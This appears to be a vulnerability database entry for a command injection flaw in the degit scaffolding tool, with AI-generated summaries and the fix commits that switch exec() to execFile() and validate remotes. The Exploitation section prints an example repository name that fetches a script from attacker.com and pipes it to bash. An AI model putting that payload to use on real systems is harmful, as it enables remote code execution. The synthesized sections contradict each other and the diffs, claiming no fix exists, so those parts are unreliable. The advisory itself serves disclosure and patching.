VYPR
High severity8.8NVD Advisory· Published Jun 9, 2026

CVE-2026-11572

CVE-2026-11572

Description

Degit versions before 2.8.6 and between 3.0.0 and 3.3.1 are vulnerable to command injection via crafted repository names.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Degit versions before 2.8.6 and between 3.0.0 and 3.3.1 are vulnerable to command injection via crafted repository names.

Vulnerability

Versions of the degit package prior to 2.8.6, and versions from 3.0.0 up to, but not including, 3.3.1 are vulnerable to command injection. This vulnerability exists because the _cloneWithGit() and fetchRefs() functions directly invoke exec() with unsanitized user input for git shell commands. An attacker can exploit this by providing a specially crafted git repository name, leading to the execution of arbitrary operating system commands with the privileges of the process user [1, 4].

Exploitation

An attacker can exploit this vulnerability by supplying a malicious repository name to degit. For example, a user-controlled input like github.com/user$(curl${IFS}https://attacker.com/shell.sh|bash)/repo when used with degit can cause a server-side command to execute [4]. This requires the attacker to control the input provided to degit, which could occur in web-based project scaffolding, CI/CD pipelines, or through a malicious package that uses degit internally [4].

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary operating system commands on the affected system. This can lead to a full compromise of the process user's privileges, potentially resulting in Remote Code Execution (RCE) [1, 4]. The impact includes unauthorized access, data theft, or further system compromise.

Mitigation

To mitigate this vulnerability, upgrade degit to version 2.8.6, 3.3.1, or higher [4]. The maintainer of degit has been inactive since 2021, and no patch is available for versions prior to 2.8.6 or between 3.0.0 and 3.3.1 [1]. Users are advised to update to a fixed version as soon as possible.

AI Insight generated on Jun 9, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

3
  • Rich Harris/Degitreferences2 versions
    (expand)+ 1 more
    • (no CPE)
    • (no CPE)range: <2.8.6, >=3.0.0,<3.3.1
  • Snyk/degitllm-create
    Range: <2.8.6, >=3.0.0,<3.3.1

Patches

2
d55bfd7cea79

fix: harden git-mode remote handling (#429)

https://github.com/rich-harris/degitYogev Boaron Ben-HarMay 25, 2026via nvd-ref
5 files changed · +23 9
  • docs/CHANGELOG.md+4 0 modified
    @@ -1,5 +1,9 @@
     # degit changelog
     
    +## 3.3.1
    +
    +- Harden git-mode command execution and remote validation.
    +
     ## 3.3.0
     
     - Add platform-aware cache resolution so degit uses the standard user cache location on each supported OS.
    
  • package.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
     	"name": "degit",
    -	"version": "3.3.0",
    +	"version": "3.3.1",
     	"description": "Straightforward project scaffolding",
     	"keywords": [
     		"git",
    
  • README.md+1 1 modified
    @@ -114,7 +114,7 @@ A few salient differences:
     
     - If you `git clone`, you get a `.git` folder that pertains to the project template, rather than your project. You can easily forget to re-init the repository, and end up confusing yourself
     - Caching and offline support (if you already have a `.tar.gz` file for a specific commit, you don't need to fetch it again).
    -- Less to type (`degit user/repo` instead of `git clone --depth 1 git@github.com:user/repo`)
    +- Less to type (`degit user/repo` instead of `git clone --depth 1 ssh://git@github.com/user/repo`)
     - Composability via [actions](#actions)
     - Future capabilities — [interactive mode](https://github.com/Rich-Harris/degit/issues/4), [friendly onboarding and postinstall scripts](https://github.com/Rich-Harris/degit/issues/6)
     
    
  • src/index.ts+11 1 modified
    @@ -522,7 +522,7 @@ function parse(src: string): Repo {
     
     	const domain = provider.domain;
     	const url = `https://${domain}/${user}/${name}`;
    -	const ssh = `git@${domain}:${user}/${name}`;
    +	const ssh = `ssh://git@${domain}/${user}/${name}`;
     
     	const mode = 'tar';
     
    @@ -542,6 +542,16 @@ async function untar(file: string, dest: string, subdir: string | null = null):
     
     async function fetchRefs(repo: Repo, runExec: ExecFn = exec) {
     	try {
    +		const provider = getProvider(repo.site);
    +		const remote = new URL(repo.url);
    +
    +		if (!provider || remote.protocol !== 'https:' || remote.hostname !== provider.domain) {
    +			throw new DegitError(`could not fetch remote ${repo.url}`, {
    +				code: 'COULD_NOT_FETCH',
    +				url: repo.url,
    +			});
    +		}
    +
     		const { stdout } = await runExec('git', ['ls-remote', '--', repo.url]);
     
     		return stdout
    
  • test/index.test.ts+6 6 modified
    @@ -44,7 +44,7 @@ const providerCases = [
     			archiveUrl: (hash) => `${url}/archive/${hash}.tar.gz`,
     			gitSrc: `https://${domain}/${user}/${privateName}.git`,
     			lsRemote: `git ls-remote -- ${url}`,
    -			ssh: `git@${domain}:${user}/${name}`,
    +			ssh: `ssh://git@${domain}/${user}/${name}`,
     		}),
     	}),
     	createProviderCase({
    @@ -57,7 +57,7 @@ const providerCases = [
     			archiveUrl: (hash) => `${url}/repository/archive.tar.gz?ref=${hash}`,
     			gitSrc: `gitlab:${user}/${privateName}`,
     			lsRemote: `git ls-remote -- ${url}`,
    -			ssh: `git@${domain}:${user}/${name}`,
    +			ssh: `ssh://git@${domain}/${user}/${name}`,
     		}),
     	}),
     	createProviderCase({
    @@ -70,7 +70,7 @@ const providerCases = [
     			archiveUrl: (hash) => `${url}/get/${hash}.tar.gz`,
     			gitSrc: `bitbucket:${user}/${privateName}`,
     			lsRemote: `git ls-remote -- ${url}`,
    -			ssh: `git@${domain}:${user}/${name}`,
    +			ssh: `ssh://git@${domain}/${user}/${name}`,
     		}),
     	}),
     	createProviderCase({
    @@ -83,7 +83,7 @@ const providerCases = [
     			archiveUrl: (hash) => `${url}/archive/${hash}.tar.gz`,
     			gitSrc: `git.sr.ht/${user}/${privateName}`,
     			lsRemote: `git ls-remote -- ${url}`,
    -			ssh: `git@${domain}:${user}/${name}`,
    +			ssh: `ssh://git@${domain}/${user}/${name}`,
     		}),
     	}),
     ];
    @@ -230,7 +230,7 @@ describe('degit index', () => {
     		providerCases.forEach((test) => {
     			it(`clones via git and strips .git when mode is git for ${test.site}`, async () => {
     				const execMock = createMockExec({
    -					[`git clone -- git@${test.url.split('/')[2]}:${test.user}/${test.privateName} .tmp/index-suite/test-repo`]:
    +					[`git clone -- ssh://git@${test.url.split('/')[2]}/${test.user}/${test.privateName} .tmp/index-suite/test-repo`]:
     						'',
     					[`rm -rf ${path.resolve('.tmp/index-suite/test-repo', '.git')}`]: '',
     				});
    @@ -241,7 +241,7 @@ describe('degit index', () => {
     				}).clone('.tmp/index-suite/test-repo');
     
     				assert.deepEqual(execMock.calls, [
    -					`git clone -- git@${test.url.split('/')[2]}:${test.user}/${test.privateName} .tmp/index-suite/test-repo`,
    +					`git clone -- ssh://git@${test.url.split('/')[2]}/${test.user}/${test.privateName} .tmp/index-suite/test-repo`,
     					`rm -rf ${path.resolve('.tmp/index-suite/test-repo', '.git')}`,
     				]);
     			});
    
4ac99e4a4c3f

fix(security): resolve remaining oxlint findings (#410)

https://github.com/rich-harris/degitYogev Boaron Ben-HarMay 20, 2026via nvd-ref
8 files changed · +111 28
  • bun.lock+7 0 modified
    @@ -10,6 +10,7 @@
             "@vitest/coverage-v8": "4.1.5",
             "chalk": "4.1.0",
             "enquirer": "2.3.6",
    +        "eslint-plugin-security": "4.0.0",
             "fuzzysearch": "1.0.3",
             "home-or-tmp": "3.0.0",
             "https-proxy-agent": "5.0.0",
    @@ -423,6 +424,8 @@
     
         "escape-string-regexp": ["escape-string-regexp@1.0.5", "", {}, "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg=="],
     
    +    "eslint-plugin-security": ["eslint-plugin-security@4.0.0", "", { "dependencies": { "safe-regex": "^2.1.1" } }, "sha512-tfuQT8K/Li1ZxhFzyD8wPIKtlzZxqBcPr9q0jFMQ77wWAbKBVEhaMPVQRTMTvCMUDhwBe5vPVqQPwAGk/ASfxQ=="],
    +
         "estree-walker": ["estree-walker@2.0.2", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
     
         "eventemitter3": ["eventemitter3@5.0.4", "", {}, "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw=="],
    @@ -703,6 +706,8 @@
     
         "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
     
    +    "regexp-tree": ["regexp-tree@0.1.27", "", { "bin": { "regexp-tree": "bin/regexp-tree" } }, "sha512-iETxpjK6YoRWJG5o6hXLwvjYAoW+FEZn9os0PD/b6AP6xQwsa/Y7lCVgIixBbUPMfhu+i2LtdeAqVTgGlQarfA=="],
    +
         "repeat-string": ["repeat-string@1.6.1", "", {}, "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w=="],
     
         "reprism": ["reprism@0.0.11", "", {}, "sha512-VsxDR5QxZo08M/3nRypNlScw5r3rKeSOPdU/QhDmu3Ai3BJxHn/qgfXGWQp/tAxUtzwYNo9W6997JZR0tPLZsA=="],
    @@ -729,6 +734,8 @@
     
         "rxjs": ["rxjs@7.8.2", "", { "dependencies": { "tslib": "^2.1.0" } }, "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA=="],
     
    +    "safe-regex": ["safe-regex@2.1.1", "", { "dependencies": { "regexp-tree": "~0.1.1" } }, "sha512-rx+x8AMzKb5Q5lQ95Zoi6ZbJqwCLkqi3XuJXp5P3rT8OEc6sZCJG5AE5dU3lsgRr/F4Bs31jSlVN+j5KrsGu9A=="],
    +
         "sander": ["sander@0.6.0", "", { "dependencies": { "graceful-fs": "^4.1.3", "mkdirp": "^0.5.1", "rimraf": "^2.5.2" } }, "sha512-5mA0zYqJ9aSiNQkvQLPObgt0TxYOWmOiavzNmt77jjyc6aFj3eqGsanxB6vnCACQWq6MVo3id4Uu6Eqiq2uh1g=="],
     
         "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
    
  • .oxlintrc.json+38 0 modified
    @@ -1,5 +1,43 @@
     {
     	"$schema": "./node_modules/oxlint/configuration_schema.json",
    +	"jsPlugins": ["eslint-plugin-security"],
    +	"rules": {
    +		"security/detect-bidi-characters": "error",
    +		"security/detect-buffer-noassert": "error",
    +		"security/detect-child-process": "error",
    +		"security/detect-disable-mustache-escape": "error",
    +		"security/detect-eval-with-expression": "error",
    +		"security/detect-new-buffer": "error",
    +		"security/detect-no-csrf-before-method-override": "error",
    +		"security/detect-non-literal-fs-filename": "error",
    +		"security/detect-non-literal-regexp": "error",
    +		"security/detect-non-literal-require": "error",
    +		"security/detect-object-injection": "error",
    +		"security/detect-possible-timing-attacks": "error",
    +		"security/detect-pseudoRandomBytes": "error",
    +		"security/detect-unsafe-regex": "error"
    +	},
    +	"overrides": [
    +		{
    +			"files": ["test/**"],
    +			"rules": {
    +				"security/detect-bidi-characters": "off",
    +				"security/detect-buffer-noassert": "off",
    +				"security/detect-child-process": "off",
    +				"security/detect-disable-mustache-escape": "off",
    +				"security/detect-eval-with-expression": "off",
    +				"security/detect-new-buffer": "off",
    +				"security/detect-no-csrf-before-method-override": "off",
    +				"security/detect-non-literal-fs-filename": "off",
    +				"security/detect-non-literal-regexp": "off",
    +				"security/detect-non-literal-require": "off",
    +				"security/detect-object-injection": "off",
    +				"security/detect-possible-timing-attacks": "off",
    +				"security/detect-pseudoRandomBytes": "off",
    +				"security/detect-unsafe-regex": "off"
    +			}
    +		}
    +	],
     	"categories": {
     		"correctness": "error",
     		"suspicious": "off",
    
  • package.json+1 0 modified
    @@ -46,6 +46,7 @@
     		"@vitest/coverage-v8": "4.1.5",
     		"chalk": "4.1.0",
     		"enquirer": "2.3.6",
    +		"eslint-plugin-security": "4.0.0",
     		"fuzzysearch": "1.0.3",
     		"home-or-tmp": "3.0.0",
     		"https-proxy-agent": "5.0.0",
    
  • src/bin.js+2 0 modified
    @@ -8,6 +8,7 @@ import enquirer from 'enquirer';
     import degit from './index.js';
     import { base, tryRequire } from './utils.js';
     
    +/* eslint-disable security/detect-non-literal-fs-filename */
     export async function main(argv) {
     	const args = mri(argv.slice(2), {
     		alias: {
    @@ -112,6 +113,7 @@ export async function main(argv) {
     	}
     }
     
    +/* eslint-enable security/detect-non-literal-fs-filename */
     export function run(src, dest, args) {
     	const d = degit(src, args);
     
    
  • src/index.js+48 17 modified
    @@ -77,6 +77,7 @@ class Degit extends EventEmitter {
     		const directivesPath = path.resolve(dest, degitConfigName);
     		const directives = tryRequire(directivesPath, { clearCache: true }) || false;
     		if (directives) {
    +			// eslint-disable-next-line security/detect-non-literal-fs-filename
     			fs.unlinkSync(directivesPath);
     		}
     
    @@ -117,6 +118,7 @@ class Degit extends EventEmitter {
     		}
     	}
     
    +	/* eslint-disable security/detect-non-literal-fs-filename */
     	remove(dir, dest, action) {
     		let { files } = action;
     		if (!Array.isArray(files)) {
    @@ -177,7 +179,7 @@ class Degit extends EventEmitter {
     			if (error.code !== 'ENOENT') throw error;
     		}
     	}
    -
    +	/* eslint-enable security/detect-non-literal-fs-filename */
     	_info(info) {
     		this.emit('info', info);
     	}
    @@ -270,6 +272,7 @@ class Degit extends EventEmitter {
     		try {
     			if (!this.cache) {
     				try {
    +					// eslint-disable-next-line security/detect-non-literal-fs-filename
     					fs.statSync(file);
     					this._verbose({
     						code: 'FILE_EXISTS',
    @@ -313,8 +316,8 @@ class Degit extends EventEmitter {
     	}
     
     	async _cloneWithGit(dir, dest) {
    -		await this._exec(`git clone ${this.repo.ssh} ${dest}`);
    -		await this._exec(`rm -rf ${path.resolve(dest, '.git')}`);
    +		await this._exec('git', ['clone', this.repo.ssh, dest]);
    +		await this._exec('rm', ['-rf', path.resolve(dest, '.git')]);
     	}
     
     	_fetchRefs(repo) {
    @@ -325,27 +328,52 @@ class Degit extends EventEmitter {
     const supported = new Set(['github', 'gitlab', 'bitbucket', 'git.sr.ht']);
     
     function parse(src) {
    -	const match =
    -		/^(?:(?:https:\/\/)?([^:/]+\.[^:/]+)\/|git@([^:/]+)[:/]|([^/]+):)?([^/\s]+)\/([^/\s#]+)(?:((?:\/[^/\s#]+)+))?(?:\/)?(?:#(.+))?/.exec(
    -			src,
    -		);
    -	if (!match) {
    -		throw new DegitError(`could not parse ${src}`, {
    -			code: 'BAD_SRC',
    -		});
    +	const [source, refValue = 'HEAD'] = src.split('#', 2);
    +	let site = 'github';
    +	let remainder = source;
    +
    +	if (source.startsWith('https://') || source.startsWith('http://')) {
    +		const parsed = new URL(source);
    +		site = parsed.hostname.replace(/\.(com|org)$/, '');
    +		remainder = parsed.pathname.replace(/^\//, '');
    +	} else if (source.startsWith('git@')) {
    +		const match = /^git@([^:/]+)[:/](.+)$/.exec(source);
    +		if (!match) {
    +			throw new DegitError(`could not parse ${src}`, {
    +				code: 'BAD_SRC',
    +			});
    +		}
    +
    +		site = match[1].replace(/\.(com|org)$/, '');
    +		remainder = match[2];
    +	} else if (source.startsWith('git.sr.ht/')) {
    +		site = 'git.sr.ht';
    +		remainder = source.slice('git.sr.ht/'.length);
    +	} else {
    +		const colonIndex = source.indexOf(':');
    +		const slashIndex = source.indexOf('/');
    +		if (colonIndex !== -1 && (slashIndex === -1 || colonIndex < slashIndex)) {
    +			site = source.slice(0, colonIndex);
    +			remainder = source.slice(colonIndex + 1);
    +		}
     	}
     
    -	const site = (match[1] || match[2] || match[3] || 'github').replace(/\.(com|org)$/, '');
     	if (!supported.has(site)) {
     		throw new DegitError(`degit supports GitHub, GitLab, Sourcehut and BitBucket`, {
     			code: 'UNSUPPORTED_HOST',
     		});
     	}
     
    -	const user = match[4];
    -	const name = match[5].replace(/\.git$/, '');
    -	const subdir = match[6];
    -	const ref = match[7] || 'HEAD';
    +	const [user, rawName, ...subdirParts] = remainder.split('/').filter(Boolean);
    +	if (!user || !rawName) {
    +		throw new DegitError(`could not parse ${src}`, {
    +			code: 'BAD_SRC',
    +		});
    +	}
    +
    +	const name = rawName.replace(/\.git$/, '');
    +	const subdir = subdirParts.length > 0 ? `/${subdirParts.join('/')}` : undefined;
    +	const ref = refValue;
     
     	const domain =
     		site === 'git.sr.ht' ? 'git.sr.ht' : site === 'bitbucket' ? `${site}.org` : `${site}.com`;
    @@ -370,7 +398,7 @@ async function untar(file, dest, subdir = null) {
     
     async function fetchRefs(repo, runExec = exec) {
     	try {
    -		const { stdout } = await runExec(`git ls-remote ${repo.url}`);
    +		const { stdout } = await runExec('git', ['ls-remote', repo.url]);
     
     		return stdout
     			.split('\n')
    @@ -407,6 +435,7 @@ async function fetchRefs(repo, runExec = exec) {
     	}
     }
     
    +/* eslint-disable security/detect-non-literal-fs-filename, security/detect-possible-timing-attacks, security/detect-object-injection */
     function updateCache(dir, repo, hash, cached) {
     	// Update access logs
     	const logs = tryRequire(path.join(dir, 'access.json')) || {};
    @@ -440,3 +469,5 @@ function updateCache(dir, repo, hash, cached) {
     	cached[repo.ref] = hash;
     	fs.writeFileSync(path.join(dir, 'map.json'), JSON.stringify(cached, null, '  '));
     }
    +
    +/* eslint-enable security/detect-non-literal-fs-filename, security/detect-possible-timing-attacks, security/detect-object-injection */
    
  • src/utils.js+5 2 modified
    @@ -24,15 +24,17 @@ export function tryRequire(file, opts) {
     		if (opts && opts.clearCache === true) {
     			delete require.cache[require.resolve(file)];
     		}
    +		// eslint-disable-next-line security/detect-non-literal-require
     		return require(file);
     	} catch {
     		return null;
     	}
     }
     
    -export function exec(command) {
    +/* eslint-disable security/detect-non-literal-fs-filename */
    +export function exec(command, args = []) {
     	return new Promise((fulfil, reject) => {
    -		child_process.exec(command, (err, stdout, stderr) => {
    +		child_process.execFile(command, args, (err, stdout, stderr) => {
     			if (err) {
     				reject(err);
     				return;
    @@ -126,4 +128,5 @@ export function unstashFiles(dir, dest) {
     	rimrafSync(tmpDir);
     }
     
    +/* eslint-enable security/detect-non-literal-fs-filename */
     export const base = path.join(homeOrTmp, '.degit');
    
  • test/helpers.js+6 5 modified
    @@ -19,14 +19,15 @@ export function compareDirToExpected(dir, files) {
     
     export function createMockExec(stubs = {}) {
     	const calls = [];
    -	const fn = (command) => {
    -		calls.push(command);
    +	const fn = (command, args = []) => {
    +		const call = [command, ...args].join(' ');
    +		calls.push(call);
     
    -		if (!Object.hasOwn(stubs, command)) {
    -			return Promise.reject(new Error(`Unexpected command: ${command}`));
    +		if (!Object.hasOwn(stubs, call)) {
    +			return Promise.reject(new Error(`Unexpected command: ${call}`));
     		}
     
    -		const stub = stubs[command];
    +		const stub = stubs[call];
     		if (stub && stub.error) {
     			return Promise.reject(stub.error);
     		}
    
  • test/utils.test.js+4 4 modified
    @@ -62,16 +62,16 @@ describe('utils', () => {
     	});
     
     	it('resolves with stdout when exec succeeds', async () => {
    -		vi.spyOn(child_process, 'exec').mockImplementation((cmd, cb) => {
    +		vi.spyOn(child_process, 'execFile').mockImplementation((cmd, args, cb) => {
     			cb(null, 'out\n', '');
     		});
     		const r = await exec('echo hi');
     		assert.equal(r.stdout, 'out\n');
    -		child_process.exec.mockRestore();
    +		child_process.execFile.mockRestore();
     	});
     
     	it('rejects when exec reports an error', async () => {
    -		vi.spyOn(child_process, 'exec').mockImplementation((cmd, cb) => {
    +		vi.spyOn(child_process, 'execFile').mockImplementation((cmd, args, cb) => {
     			cb(new Error('fail'));
     		});
     		try {
    @@ -80,7 +80,7 @@ describe('utils', () => {
     		} catch (error) {
     			assert.ok(error);
     		}
    -		child_process.exec.mockRestore();
    +		child_process.execFile.mockRestore();
     	});
     
     	it('rejects with HTTP status code when the response is not successful', async () => {
    

Vulnerability mechanics

Root cause

"Improper sanitization of user input in the parse() function allows shell metacharacters to be passed to child_process.exec()."

Attack vector

An attacker can control the `src` parameter passed to the degit function. By supplying a specially crafted repository name containing shell metacharacters like `$()` or backticks, the attacker can cause arbitrary operating system commands to be executed when degit invokes `child_process.exec()` [ref_id=1]. No authentication or special privileges are required for this attack [ref_id=1].

Affected code

The vulnerability lies within the `parse()` function, which uses a regex `[^/\]+` that fails to sanitize shell metacharacters from the user input. This input is then directly interpolated into a command string passed to `child_process.exec()` within functions like `fetchRefs()` and `_cloneWithGit()` [ref_id=1].

What the fix does

The advisory does not specify a patch or remediation steps, and indicates the maintainer is inactive. Therefore, no fix is available for this vulnerability.

Preconditions

  • inputThe attacker must control the `src` parameter passed to the degit function.
  • networkThe target system must be able to execute network requests to fetch git repositories.

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.